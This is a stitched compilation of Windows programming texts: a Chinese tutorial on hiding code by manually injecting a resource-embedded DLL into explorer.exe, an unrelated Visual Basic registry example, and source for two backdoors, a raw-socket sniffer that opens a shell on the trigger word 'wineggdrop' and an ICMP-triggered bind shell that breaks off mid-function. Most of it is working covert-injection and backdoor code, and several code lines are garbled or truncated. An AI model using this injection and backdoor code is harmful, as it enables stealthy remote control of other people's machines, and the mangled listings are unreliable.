    从上面的定义可以看出，完全能够把IMAGE_THUNK_DATA结构当作一个DWORD使用。当这个DWORD的最高为是1时，表示函数是以序号的形式引入的；否则函数是以函数名的形式引入的，且此DWORD是一个RVA，指向一个IMAGE_IMPORT_BY_NAME结构。我们可以使用在WINNT.H中预定义的常量IMAGE_ORDINAL_FLAG来测试最高位是否为1。IMAGE_IMPORT_BY_NAME结构定义如下：

//摘自WINNT.H typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; BYTE Name[1]; } IMAGE_IMPORT_BY_NAME;
    其中Hint字段的内容是可选的，如果它不是0，则它也表示函数的序号，我们编程是不必考虑它。虽然上面的定义中Name数组只包含一个元素，但其实它是一个变长数组，保存的是一个以NULL结尾的字符串，也就是函数名。

    也许上面的解释已经把你弄得头晕脑涨了，来看看下面的导入表的实际结构吧，希望下图能帮你清醒一下：
    光看前面的讲解中，你也许会有一个疑问：既然OriginalFirstThunk和FirstThunk指向的内容完全一样，只用一个不就行了吗？好了，不要再怀疑Windows的设计者了，在PE文件中它们确实是一样的，但是当文件被装入内存后，差别就出现了：OriginalFirstThunk的内容不会变，但FirstThunk里数据却会变成与其相对应的函数的入口地址。内存中的输入表结构如下图所示：
    事实上，前面提到的call dword ptr [xxxxxxxx]指令中的“xxxxxxxx”就是FirstThunk中的一个IMAGE_THUNK_DATA的地址，而这个IMAGE_THUNK_DATA在装入完成之后保存的就是与其对应的函数的入口地址。知道动态链接是怎么回事了吧！

编程实现
    到现在为止，有关进程隐藏的基础知识就都说完了，下面我们就开始动手编程，其他问题我将结合代码进行说明。
    我们要编写两个程序，一个是dll，它里面包含要插入到宿主进程中去的代码和数据；另一个是装载器程序，它将把dll装入宿主进程并通过创建远程线程来运行这些代码。为了更好的隐藏，我把编译好的dll作为资源加入到了装载器之中。至于宿主进程，我选择的是“explorer.exe”，因为每一个windows系统中都有它的身影。装载器程序运行之后，远程线程将弹出如下一个消息框，证明代码插入成功。
    两个程序有一个公用的头文件“ThreadParam.h”，我在它里面定义了要传递给远程线程的参数的结构，这个结构包括两个函数指针，使用时，它们将分别指向windows
API“LoadLibrary”和“GetProcAddress”，还有一个指针指向远程线程在目标进程中的映像基址，后面将对这三个指针进行具体说明，下面是“ThreadParam.h”的内容：

typedef HMODULE (WINAPI *FxLoadLibrary)(LPCSTR lpFileName); typedef FARPROC (WINAPI *FxGetProcAddr)(HMODULE hModule, LPCSTR lpProcName); typedef struct tagTHREADPARAM { FxLoadLibrary fnLoadLibrary; FxGetProcAddr fnGetProcAddr; LPBYTE pImageBase; }THREADPARAM, *PTHREADPARAM;
    我们先来看装载器程序。这里面还会涉及到其他一些PE文件格式方面的内容，限于篇幅，我将不再详细介绍，请读者参考相关资料。同时，为了使程序更加短小，我假设它从不出错，去掉了所有用于错误处理的代码。

首先介绍一下程序中用到的全局变量和常数。其中“_pinh”指向嵌入装载器的dll的PE文件头，供需要的地方使用。之后的四个宏是为了以后程序书写方便而定义，“IMAGE_SIZE”表示dll的映像大小，也就是需要在宿主进程中开辟多大的内存空间；“RVA_EXPORT_TABEL”表示dll输出表的RVA地址；“RVA_RELOC_TABEL”表示dll重定位表的RVA地址；“PROCESS_OPEN_MODE”表示打开宿主进程的方式，只有按这种方式打开，我们才能完成所有必需的工作。

static PIMAGE_NT_HEADERS _pinh = NULL; #define IMAGE_SIZE (_pinh->OptionalHeader.SizeOfImage) #define RVA_EXPORT_TABEL (_pinh->OptionalHeader.DataDirectory[0].VirtualAddress) #define RVA_RELOC_TABEL (_pinh->OptionalHeader.DataDirectory[5].VirtualAddress) #define PROCESS_OPEN_MODE (PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION)
下面是主函数的定义，从中我们可以看到大致的工作步骤，注释中的序号标明了每一步的开始位置。

int APIENTRY _tWinMain(HINSTANCE hInst, HINSTANCE, LPTSTR lpCmdLine, int nCmdShow) { LPTHREAD_START_ROUTINE pEntry = NULL; PTHREADPARAM pParam = NULL; LPBYTE pImage = (LPBYTE)MapRsrcToImage(); //① DWORD dwProcessId = GetTargetProcessId(); //② HANDLE hProcess = OpenProcess(PROCESS_OPEN_MODE, FALSE, dwProcessId); LPBYTE pInjectPos = (LPBYTE)VirtualAllocEx(hProcess, NULL, IMAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PrepareData(pImage, pInjectPos, (PVOID*)&pEntry, (PVOID*)&pParam); //③ WriteProcessMemory(hProcess, pInjectPos, pImage, IMAGE_SIZE, NULL); //④ HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pEntry, pParam, 0, NULL); CloseHandle(hThread); //⑤ CloseHandle(hProcess); VirtualFree(pImage, 0, MEM_RELEASE); return 0; }
第①步：将资源中的dll文件映射到内存，形成映像。这一步由函数“MapRsrcToImage”完成。它首先将打开资源中的dll，找到dll的PE文件头并让全局变量_pinh指向它。然后，它再根据文件头中的“SizeOfImage”字段在装载器进程（为求方便，我们的数据准备工作都在装载器进程中实现，只是到最后，才把准备好的数据一次性写入宿主进程）中开辟足够的内存空间用于存放dll的内存映像。把dll映射到内存的操作是以节为单位来进行的，PE文件中的节表（IMAGE_SECTION_HEADER）提供了每个节的大小、在文件中的位置和要放到内存中的位置（RVA）等信息。文件头不属于任何节，我们把它的数据放到内存区的起始位置（这样做是有原因的，将在介绍dll程序时说明）。
static LPBYTE MapRsrcToImage()
        //将资源中的DLL映射到内存 {     HRSRC hRsrc =
        FindResource(NULL, _T("rtdll"), _T("RT_DLL"));
        HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
        LPBYTE pRsrc = (LPBYTE)LockResource(hGlobal);
        _pinh = (PIMAGE_NT_HEADERS)(pRsrc +
        ((PIMAGE_DOS_HEADER)pRsrc)->e_lfanew);     LPBYTE
        pImage = (LPBYTE)VirtualAlloc(NULL, IMAGE_SIZE, MEM_COMMIT,
        PAGE_READWRITE);     DWORD dwSections =
        _pinh->FileHeader.NumberOfSections;     DWORD
        dwBytes2Copy = (((LPBYTE)_pinh) - pRsrc) +
        sizeof(IMAGE_NT_HEADERS);     PIMAGE_SECTION_HEADER
        pish = (PIMAGE_SECTION_HEADER)(pRsrc +
        dwBytes2Copy);     dwBytes2Copy += dwSections *
        sizeof(IMAGE_SECTION_HEADER);     memcpy(pImage,
        pRsrc, dwBytes2Copy);     for(DWORD i=0;
        i>dwSections; i++, pish++)
        {         LPBYTE pSrc = pRsrc +
        pish->PointerToRawData;  LPBYTE pDest = pImage +
        pish->VirtualAddress;  dwBytes2Copy = pish->SizeOfRawData;
         memcpy(pDest, pSrc, dwBytes2Copy);
        }     _pinh = (PIMAGE_NT_HEADERS)(pImage +
        ((PIMAGE_DOS_HEADER)pImage)->e_lfanew);
        return pImage; }

第②步：打开宿主进程，并在其中开辟用于写入数据的内存空间。这一步比较简单，其中函数“GetTargetProcessId”用于获取“explorer.exe”的进程ID。
static DWORD GetTargetProcessId()
        //取得explorer进程的pid {  　　　DWORD dwProcessId =
        0;     HWND hWnd = FindWindow(_T("Progman"),
        _T("Program Manager"));
        GetWindowThreadProcessId(hWnd,
        &dwProcessId);     return dwProcessId; }
第③步：准备好要写入宿主进程的数据。这一步要把①中建立的dll映像根据②中开辟的存储空间的基址进行重定位，为线程准备参数，并计算线程的入口地址。
static void PrepareData(LPBYTE pImage, LPBYTE
        pInjectPos, PVOID* ppEntry, PVOID* ppParam) {
        LPBYTE pRelocTbl = pImage + RVA_RELOC_TABEL;
        DWORD dwRelocOffset = (DWORD)pInjectPos -
        _inh.OptionalHeader.ImageBase;
        RelocImage(pImage, pRelocTbl, dwRelocOffset);
        PTHREADPARAM param = (PTHREADPARAM)pRelocTbl;
        HMODULE hKernel32 = GetModuleHandle(_T("kernel32.dll"));
            param->fnGetProcAddress=(FxGetProcAddress)GetProcAddress(hKernel32,"GetProcAddress");
        param->fnLoadLibrary= (FxLoadLibrary)GetProcAddress(hKernel32,
        "LoadLibraryA"); 　　param->pImageBase =
        pInjectPos;     *ppParam = pInjectPos +
        RVA_RELOC_TABEL;     *ppEntry = pInjectPos +
        GetEntryPoint(pImage); }
    首先，它根据实际装入地址和建议地址计算出要加到重定位数据上去的数值，然后调用函数“RelocImage”进行重定位操作。“RelocImage”主要是根据我们前面介绍的重定位表的结构来对dll映像进行重定位。看了“RelocImage”的代码，你是不是感到有些惊讶？我们费了那么多气力来说明重定位问题，但实现它却只需要这么几行程序！其实这说明了一点：PE文件格式设计得非常简洁，我们完全没必要对它有恐惧感。后面处理隐式链接的代码将再次证明这一点。
static void RelocImage(PBYTE pImage, PBYTE
        pRelocTbl, DWORD dwRelocOffset) {
        PIMAGE_BASE_RELOCATION pibr =
        (PIMAGE_BASE_RELOCATION)pRelocTbl;
        while(pibr->VirtualAddress != NULL)     {
         WORD* arrOffset = (WORD*)(pRelocTbl +
        sizeof(IMAGE_BASE_RELOCATION));  DWORD dwRvaCount =
        (pibr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
         for(DWORD i=0;
        i {
        DWORD dwRva = arrOffset[i];   if((dwRva & 0xf000) !=
        0x3000)

        continue;   dwRva &= 0x0fff;   dwRva +=
        pibr->VirtualAddress +
        (DWORD)pImage;
        *(DWORD*)dwRva += dwRelocOffset; } pRelocTbl += pibr->SizeOfBlock;
        pibr = (PIMAGE_BASE_RELOCATION)pRelocTbl;     }
        }
    由于我们在宿主进程中分配的内存只有IMAGE_SIZE那么大，所以必须在重定位操作完成之后，才能把线程参数写进去，这是因为重定位表在完成重定位之后，就没用了，我们正好可以借用它的空间来存放线程参数，而且一般情况下，空间足够使用，除非你要传递特别多的参数。这样，参数的地址自然就是实际装入地址加上重定位表的RVA地址了。

    最后的工作是获取线程的入口地址，由函数“GetEntryPoint”来完成。我们的dll程序输出一个名为“ThreadEntry”的函数，其原型兼容windows的线程入口函数，我们把它作为远程线程的执行体。GetEntryPoint根据dll的输出表信息从映像中找到ThreadEntry的入口地址并将其返回。不过，“GetEntryPoint”返回的地址是一个RVA，必须加上装入地址“pInjectPos”才是实际入口地址。
static DWORD GetEntryPoint(LPBYTE pImage) { DWORD dwEntry = 0, index = 0; IMAGE_EXPORT_DIRECTORY* pied = (IMAGE_EXPORT_DIRECTORY*)(pImage + RVA_EXPORT_TABEL); DWORD* pNameTbl = (DWORD*)(pImage + pied->AddressOfNames); for(index=0; indexNumberOfNames; index++, pNameTbl++) if(strcmp("ThreadEntry", (char*)(pImage + (*pNameTbl))) == 0) { index = ((WORD*)(pImage + pied->AddressOfNameOrdinals))[index]; dwEntry = ((DWORD*)(pImage + pied->AddressOfFunctions))[index]; break; } return dwEntry; }
第④步：把准备好的数据写入宿主进程，并创建远程线程来运行写入的代码。
第⑤步：进行装载器程序结束前的清理工作。
以上是装载器程序的全部内容，接下来介绍dll程序。前面已经说过，dll要输出一个名为“ThreadEntry”的函数作为远程线程的入口，所以我们从“ThreadEntry”开始。
extern DWORD ThreadMain(HINSTANCE hInst); DWORD
        WINAPI ThreadEntry(PTHREADPARAM pParam) {     DWORD
        dwResult = -1;
        __try{
        if(LoadImportFx(pParam->pImageBase, pParam->fnLoadLibrary,
        pParam->fnGetProcAddr))  dwResult =
        ThreadMain((HINSTANCE)pParam->pImageBase);
        }
        __except(EXCEPTION_EXECUTE_HANDLER)     {
         dwResult = -2;     }
        return dwResult; }
    整个ThreadEntry的代码被包含在一个SEH（结构化异常处理）之中，这可以避免部分由于寄生代码出错而导致宿主被系统杀死的情况。ThreadEntry首先调用LoadImportFx函数完成隐式链接dll的处理。

    LoadImportFx的工作原理就是按照前面介绍的输入表的结构，使用LoadLibrary加载dll文件，然后用GetProcAddress获得输入函数的入口地址并写入相应的IMAGE_THUNK_DATA中。我在这里要说明的是：为什么远程线程能使用装载器进程中LoadLibrary和GetProcAddress的入口地址来实现对这两个函数的调用？因为按照前面的说法，我们无法保证包含这两个函数的dll已被装入，更无法保证它们的指向的正确性。其实，这里我利用了windows系统中的两个事实：一是基本上所有的windows进程都会装入“kernel32.dll”（在我的机器上，只有smss.exe例外），而这两个函数就位于“kernel32.dll”中；另一个是所有装入“kernel32.dll”的进程都会把它装入同一个内存地址，这是因为它是windows系统中最基本的dll之一。所以，我这样使用在绝大多数情况下不会有任何问题。
BOOL LoadImportFx(LPBYTE pBase, FxLoadLibrary
        fnLoadLibrary, FxGetProcAddr fnGetProcAddr) {
        PIMAGE_DOS_HEADER pidh =
        (PIMAGE_DOS_HEADER)pBase;     PIMAGE_NT_HEADERS pinh
        = (PIMAGE_NT_HEADERS)(pBase +
        pidh->e_lfanew);     PIMAGE_IMPORT_DESCRIPTOR
        piid = (PIMAGE_IMPORT_DESCRIPTOR) 　　(pBase +
        pinh->OptionalHeader.DataDirectory[1].VirtualAddress);
        for(; piid->OriginalFirstThunk != 0; piid++)
        {  HMODULE hDll = fnLoadLibrary((LPCSTR)(pBase + piid->Name));
         PIMAGE_THUNK_DATA pOrigin = (PIMAGE_THUNK_DATA)(pBase +
        piid->OriginalFirstThunk);  PIMAGE_THUNK_DATA pFirst =
        (PIMAGE_THUNK_DATA)(pBase + piid->FirstThunk);  LPCSTR pFxName =
        NULL;  PIMAGE_IMPORT_BY_NAME piibn = NULL;  for(;
        pOrigin->u1.Ordinal != 0; pOrigin++, pFirst++)
         {
        if(pOrigin->u1.Ordinal &
        IMAGE_ORDINAL_FLAG)
        pFxName = (LPCSTR)IMAGE_ORDINAL(pOrigin->u1.Ordinal);  　　else
                      {
        piibn = (PIMAGE_IMPORT_BY_NAME)(pBase +
        pOrigin->u1.AddressOfData);
        pFxName = (LPCSTR)piibn->Name;
                      }
        pFirst->u1.Function = (DWORD)fnGetProcAddr(hDll, pFxName);
         }  　　}     return TRUE; }
    处理完隐式链接之后，ThreadEntry调用ThreadMain来进行完成远程线程的实际工作。可能你已经注意到ThreadMain有一个参数是HINSTANCE类型，但从ThreadEntry可知，它实际上是dll在宿主中的装入地址，为什么可以这样做呢？答案是：我不知道，你去问微软吧。不过据我观察，普通程序的任何一个模块（module）的句柄都是其装入地址，所以我也就照猫画虎了。这也解释了前面处理重定位时把文件头放入映像基址的原因—系统需要文件头信息，我必须为它准备好（虽然LoadImportFx函数也需要文件头来定位输入表，但不是根本原因，因为完全可以让它使用其他方式）。

    下面是我的ThreadMain，它弹出前面提到的消息框。看到了吧？你可以像写普通程序一样写远程线程的代码，没有复杂的自定位，也没有烦人的显式链接，这个世界真美好！

小结
    本文在相当大的程度上简化了进程隐藏技术，你甚至可以把它当作一个模板，仅仅实现一个ThreadMain就可以把代码隐藏到其他进程中去为所欲为了。但这决不是笔者写作此文的目的，我希望读者只把它当作一项技术，加深自己对windows系统的理解。其实，本文对动态链接的处理还远没有达到操作系统程度，举例来说：PE文件的数据目录现在使用了15项，但本文只处理了4项：输出表，输入表，重定位表和IAT（可以看作输入表的一部分），不把所有15项都处理完，远程代码的行为就可能与正常情况不同。我希望能与各位读者共同努力，不断完善这项技术，更希望大家能够负责任的使用它，利用它更好的防治各种有害代码。


用VB函数轻松访问系统注册表
    本文给大家介绍用VB自带的四个函数（参看“注册表编程相关函数”一文），访问系统注册表的方法,借以说明说明这四个函数的使用。
    新建工程，在Form1上放置两个标签，Caption属性分别为“姓名”和“公司”；两个文本框txtName和txtCompany，Text属性均设为空；
三个命令按钮cmdSave、cmdFind和cmdDelete，Caption分别设为“保存”、“查看”和“删除”。
    给三个命令按钮添加如下代码：
Private Sub cmdSave_Click()
  ′将两个文本框中的内容分别赋给MyApp下User区中Name和Company
  SaveSetting ″MyApp″, ″User″, ″Name″, txtName
  SaveSetting ″MyApp″, ″User″, ″Company″, txtCompany
  MsgBox ″您的信息已成功保存！″
End Sub
Private Sub cmdFind_Click()
  ′查找MyApp下User区中Name和Company的设置值并显示
  MsgBox ″您的姓名是：″ ＆ GetSetting(″MyApp″, ″User″,
         ″Name″) ＆ Chr(13) ＆ Chr(10) ＆ ″您的公司是：″
         ＆ GetSetting(″MyApp″, ″User″, ″Company″)
End Sub
Private Sub cmdDelete_Click()
  ′删除MyApp下的User区域及其下的所有注册表项
  DeleteSetting ″MyApp″, ″User″
End Sub

    运行程序，在窗口中输入姓名和公司名称，之后按“保存”按钮，然后再按“查找”，可以看到显示出了正确的结果，说明保存和查找操作都已正常进行。如果在保存之前或删除之后按“查找”按钮，则出现对话框，说明要找的注册表项不存在。


//**********************************************************************
//
        Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
//
        Purpose: To Demonstrate Some Portless Backdoor Technique
// Test
        PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May
        Compile On VC++ 6.0(Not Test
        Yet)
//**********************************************************************
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
// Some Structures To Define
#define IP_HDRINCL 2
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LAN 255
typedef struct _iphdr
{
unsigned char  h_lenver;
unsigned char
        tos;
unsigned short total_len;
unsigned
        short ident;
unsigned short
        frag_and_flags;
unsigned char  ttl;
unsigned char  proto;
unsigned short
        checksum;
unsigned int
        sourceIP;
unsigned int
        destIP;
}IP_HEADER;
typedef struct _tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int  th_seq;
unsigned int
        th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
// End
        Of Structure
// Global Variable
char SourceIPAddress[MAX_ADDR_LEN]; // Hold The Source IP(This Can Be Used To Do Reverse Connection)
int BackDoorPort = 0; // The Port Back Door Will Bind
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL InitSocket();
BOOL DoSniffing();
BOOL DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL IsWin2KOrAbove();
DWORD WINAPI StartBackDoor(LPVOID Para);
BOOL GetABackDoorShell(const SOCKET ListenSocket);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
// Main Function
int main(int argc,char *argv[])
{
if (!IsWin2KOrAbove()) // This System Running This Program Is Not Win 2K Or Above
{
printf("The Program Must Run Under Win 2k Or Above OS\n"); // Display This Message
return -1; // Quit The Program
}
if (argc == 2) // We Get Argument
BackDoorPort = atoi(argv[1]); // Argument One Is The Back Door's Port
else // No Argument
BackDoorPort = 1982; // Back Door's Port Will Be Defined On 1982
if (!InitSocket()) // Fail To Initize Socket
{
printf("Fail To Start Up Winsock\n"); // Display Error Message
return -1; // Quit The Program
}
DoSniffing(); // Do Sniffing
return 0; // Quit The Program
}// End Of Main Function
//-------------------------------------------------------------------------
//
        Purpose: To Initize Socket
// Return Type: Boolean
//
        Parameters:  NULL
// This Is Too Simple,I Won't Comment
        It
//-------------------------------------------------------------------------
BOOL
        InitSocket()
{
WSADATA data;
WORD ver;
ver = MAKEWORD(2,2);
if (WSAStartup( ver, &data )!= 0 )
{
return FALSE;
}
return TRUE;
}// End Of InitSocket Function
//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
int Length=0; // Variable To Hold The Receive Buffer Length
char RecvBuf[MAX_PACK_LEN] = {0}; // Receive Buffer
SOCKET SocketRaw = INVALID_SOCKET; // Raw Socket
SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); // Create A Raw Socket
if (SocketRaw == INVALID_SOCKET) // Fail To Create A Raw Socket
{
printf("Fail To Create A Raw Socket\n"); // Display Error Message
return FALSE; // Return False
}
char FAR name[MAX_HOSTNAME_LAN];
if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR) // Fail To Get The Host Name
{
printf("Fail To Get Host Name\n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket Created
return FALSE; // Return False
}
// The Below Is The NIC Stuff
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent)); // Allocate Hostent Buffer
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET; // That's Internet Related
sa.sin_port = htons(0); // Any Port Avariable On The OS
if (pHostent->h_addr_list[0] != 0) // We Only Check The First NIC
{
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); // We Use The First NIC As The Sniffing Subject
}
else // Well,The First NIC Is Not Valid
{
printf("Get Host By Name Fails\n"); // Display Error Message
free(pHostent); // Free The Hostent Buffer
closesocket(SocketRaw);
return FALSE; // Return FALSE;
}
free(pHostent); // Free The Hostent Buffer
if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR) // Bind The Raw Socket On The First NIC,But Fails
{
printf("Fail To Bind\n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket
return FALSE; // Return False
}
 // Forget About The Below A Few
        Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some
        Sort Of Must-Have Codes)
DWORD dwBufferLen[10]
        ;
DWORD dwBufferInLen = 1 ;
DWORD dwBytesReturned = 0
        ;
if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR)
{
closesocket(SocketRaw);
return FALSE;
}
while(TRUE) // Sniffing Starts Here With Forever Loop
{
memset(RecvBuf, 0, sizeof(RecvBuf)); // Reset The Receive Buffer
Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0); // Try To Receive Data
if (Length == SOCKET_ERROR) // Get Error As Receiving Data
{
printf("Fail To Receive Data\n"); // Display Error Message
break; // Leave The Loop
}
if (DecodeIPPack(RecvBuf,Length)) // Decode The Buffer Received,And The Active Code Is Found
{
printf("Bingo,The BackDoor Is Activated On Port %d\n",BackDoorPort); //We Are Going To Activate The BackDoor
DWORD dwThreadID;
HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID); // Create The Back Door Thread
WaitForSingleObject(BackDoorThread,INFINITE); // Wait Until The Back Door Ends
}
}
closesocket(SocketRaw); // Close The Raw Socket
return TRUE; // Return
}// End Of DoSniffing Function
//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters: 1.const char *Buffer -->The Received Buffer
// 2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
IP_HEADER *pIpheader; // IP Header
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)Buffer; // Transfer The Buffer Into IP Header Form
int Protocol = pIpheader->proto; // Get The Protocol
if ((Protocol != IPPROTO_TCP)) // Not TCP Protocol
{
return FALSE; // Return False Since We Only Interest In TCP Protocol
}
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); // Get The Source IP(Important For Doing Reverse Connection)
int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); // Get The IP Length
return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer
}// End Of DecodeIPPack Function
//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters: 1.const char *TCPBuffer -->The TCP Buffer
// 2.Const int BufferSize -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
TCP_HEADER * pTcpHeader; // TCP Header
int iSourcePort,iDestPort; // Source Port And DestPort
pTcpHeader = (TCP_HEADER * )TCPBuffer; // Transfer The Buffer Into TCP Header Form
int TcpHeaderLen = pTcpHeader->th_lenres>>4; // Get The TCP Leader Length
TcpHeaderLen *= sizeof(unsigned long);
char * TcpData=TCPBuffer+TcpHeaderLen; // Get The TCP Data
iSourcePort = ntohs(pTcpHeader->th_sport); // Get The Source Port
iDestPort = ntohs(pTcpHeader->th_dport); // Get The Destination Port
if (strstr(TcpData,"wineggdrop")!=NULL) // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo
{
printf("%s:%d-->Local:%d\r\n",SourceIPAddress,iSourcePort,iDestPort); // Display A Message
return TRUE; // Return TRUE(The Back Door Will Be Activated Soon)
}
return FALSE; // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function
[code]


#include
#include
#include
#include
//#include
#include

#define ICMP_ECHO
        8          //
        ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY
        0      // ICMP回显应答报文的类型值为0
#define
        SNIFFER_ICMP_SIZE 101    // 监听ICMP包的大?
#define
        BIND_PORT 8080        // 默认bind shell
        端口
#define MAX_PACKET 10000      //
        最大ICMP包的大?
#define DEF_PASSWORD "givemeshell!" // 默认密码

#define xmalloc(s) HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,(s))

// 定义IP 首部
typedef struct iphdr
{
unsigned char h_verlen; // 4位首部长度,4位IP版本号 1
unsigned char
        tos; // 8位服务类型TOS 1
unsigned short total_len; // 16位总长度(字节) 2
unsigned short ident; // 16位标识 2
unsigned short frag_and_flags;
        // 3位标志位 2
unsigned char ttl; // 8位生存时间 TTL 1
unsigned char
        proto; // 8位协议(TCP, UDP 或其他) 1
unsigned short checksum; //
        16位IP首部校验和 2
unsigned int sourceIP; // 32位源IP地址 4
unsigned int
        destIP; // 32位目的IP地址 4
} IPHeader; // IP首部长度为: 20

//
        定义ICMP首部
typedef struct _ihdr
{
unsigned char i_type; //
        8位类型 1
unsigned char i_code; // 8位代码 1
unsigned short i_cksum;
        // 16位校验和 2
unsigned short i_id; // 识别号(用进程号作为识别) 2
unsigned
        short i_seq; // 报文序列号 2
} ICMPHeader; // ICMP首部长度为: 8

int sniffer(); // 监听ICMP 大?
void decode_sniffer(char
        *, int, struct sockaddr_in *); // 简单Sniffer 解包程序
int
        bindshell();         // bind
        shell

DWORD dwBufferLen[10];
DWORD
        dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
HANDLE bindthread;

// ICMPDoor 主函数
int main(int argc, char
        **argv)
{
WSADATA wsaData;
int retval;

//
        socket 初始化
if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) !=
        0)
{
printf("WSAStartup failed: %d\n",retval);
exit(-1);
}

// sniffer 开始
sniffer();

// socket
        结束
WSACleanup();
return 0;
}

// sniffer 主函数
int sniffer()
{
int packsize = SNIFFER_ICMP_SIZE;
SOCKET
        socksniffer;
struct sockaddr_in dest,from;
struct hostent * hp;
int sread;
int fromlen = sizeof(from);
unsigned char
        LocalName[256];
char *recvbuf;

//
        创建一个原始socket, 接受所有接收的包(sniffer)
if ((socksniffer =
        WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED))
        == INVALID_SOCKET)
{
printf("WSASocket() failed: %d\n",
        WSAGetLastError());
return -1;
}

// 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp =
        gethostbyname((char*)LocalName)) == NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0],
        hp->h_length); // TCP嗅探选项
dest.sin_family = AF_INET;
dest.sin_port = htons(8000); // 指定任意端

口
// socket
        bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

// 设置socket为接受所有包
WSAIoctl(socksniffer, SIO_RCVALL,
        &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,

sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

// 分配socket接收缓冲区大小为MAX_PACKET
recvbuf = (char
        *)xmalloc(MAX_PACKET);

printf("Sniffer ok!");

// 循环监听包的大小
while(1)
{
// 读数据
sread =
        recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct
        sockaddr*)&from, &fromlen);

// 如果读数据出错
if
        (sread == SOCKET_ERROR || sread {
if (WSAGetLastError() ==
        WSAETIMEDOUT)
{
continue;
}
printf("recvfrom failed:
        %d\n",WSAGetLastError());
return -1;
}
else
//    if ( sread >= 28)
// 如果读到数据的大小 == 监听包的大小
        + 28
if ( sread == packsize + 28)
{
// 将接收到的数据交给 sniffer
        解包程序处理
decode_sniffer(recvbuf, sread - 28, &from);
}
}
return 1;
}

// 简单Sniffer 解包程序
void
        decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{
ICMPHeader *icmphdr;

// ICMP首部的地址等于buf+IP首部长度:buf+20
icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));

/*
printf("\r\n %d bytes from %s,", bytes,
        inet_ntoa(from->sin_addr));    // 取出接收数据
printf("
        ICMP_Type: %d",
        icmphdr->i_type);
        // 检测类型
printf(" ICMP_Seq: %d\r\n",
        icmphdr->i_seq);
        // 取出序列号

//?出数据段 buf + 28 + i
for(int i = 0; i {
printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));
}
*/

//  if (icmphdr->i_type == ICMP_ECHO
        || icmphdr->i_type == ICMP_ECHOREPLY)
// 简单判断如果为icmp 请求包
if
        (icmphdr->i_type == ICMP_ECHO)
{
// bind shell
bindshell();

//    DWORD bid;
//    bindthread = CreateThread(NULL, 0, bindshell,
        0, 0, &bid);
}
else
printf("\r\n Get Other Packets!");

return;
}

// bind shell函数
int
        bindshell(){
int bport = BIND_PORT;
SOCKET bindServer,
        getClient;
struct sockaddr_in addrServer, addrClient;
char
        Buff[4096];
